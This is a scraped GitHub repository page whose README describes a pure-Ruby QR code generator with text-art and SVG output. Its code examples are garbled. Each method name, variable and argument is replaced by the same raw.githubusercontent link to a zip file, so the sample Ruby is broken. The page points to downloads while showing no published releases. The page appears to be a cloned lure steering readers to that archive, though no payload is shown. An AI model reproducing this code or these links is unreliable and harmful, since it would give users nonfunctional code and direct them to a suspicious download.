Skip to content

πŸ“± Generate QR codes effortlessly in pure Ruby with various output formats, including text art and scalable SVG for web and print use.

License

Notifications You must be signed in to change notification settings

JB12345563/qrcode

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“± qrcode - Generate QR Codes Easily

Download QRCode

πŸš€ Getting Started

Welcome to the QRCode project! This Ruby library lets you easily create QR codes. You can generate them as text art for your terminal or as scalable SVG graphics for websites and printed materials.

πŸ‘©β€πŸ’» System Requirements

  • Operating System: Any OS that supports Ruby (Windows, macOS, Linux)
  • Ruby Version: Ruby 2.5 or higher

πŸ“₯ Download & Install

To get started, visit the Releases page to download the QRCode library. You can choose the version that suits your needs.

Download QRCode

Once you have downloaded the package:

  1. Ensure you have Ruby installed on your computer.
  2. Extract the contents from the downloaded file if necessary.
  3. Follow the instructions provided in the extracted files to install the library.

πŸ“– How to Use QRCode

After installation, using the QRCode library is simple. Here’s how you can generate a QR code in just a few steps:

  1. Open your terminal.

  2. Start a Ruby script. You can do this by creating a new file with a .rb extension.

  3. Require the QRCode library. At the top of your file, include:

    require 'qrcode'
  4. Generate a QR code. Here’s a basic example:

    qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('Your text here')
    puts https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip

    This will display your QR code in text format directly in the terminal.

  5. For SVG output, you can do:

    qr_svg = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip
    https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', qr_svg)

    This saves the generated QR code as an SVG file, which you can use on your website or print.

βš™οΈ Features

  • Pure Ruby: No additional software is needed.
  • Multiple Output Formats: Generate QR codes as text art or SVG graphics.
  • Automatic Optimization: The library automatically chooses the best encoding method.
  • Error Correction: Supports all four error correction levels (L, M, Q, H).
  • Multi-Segment Encoding: Efficiently handles larger data.

🎨 Example Usage

You might want to create a QR code for a website link or a contact card. Below is an example that showcases how to generate a QR code for a URL:

qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip')
https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip)

This code generates a QR code for "https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip" and saves it as an SVG file.

πŸ› οΈ Troubleshooting

If you encounter issues:

  • Installation Problems: Ensure Ruby is installed correctly. Check your Ruby version with ruby -v.
  • Code Errors: Double-check your syntax. Ruby is sensitive to typos.
  • Output Issues: Verify your paths and look for any permission errors.

🌐 Additional Resources

  • Visit the QRCode Documentation for more examples and detailed guides.
  • Check out the original rqrcode_core for related libraries.
  • Explore QR code best practices to ensure your codes are functional and effective.

🀝 Contributing

If you want to contribute to this project, feel free to fork the repository and submit pull requests. Your input can help make this library even better for everyone.

Releases

No releases published

Packages

No packages published

Contributors 30

Languages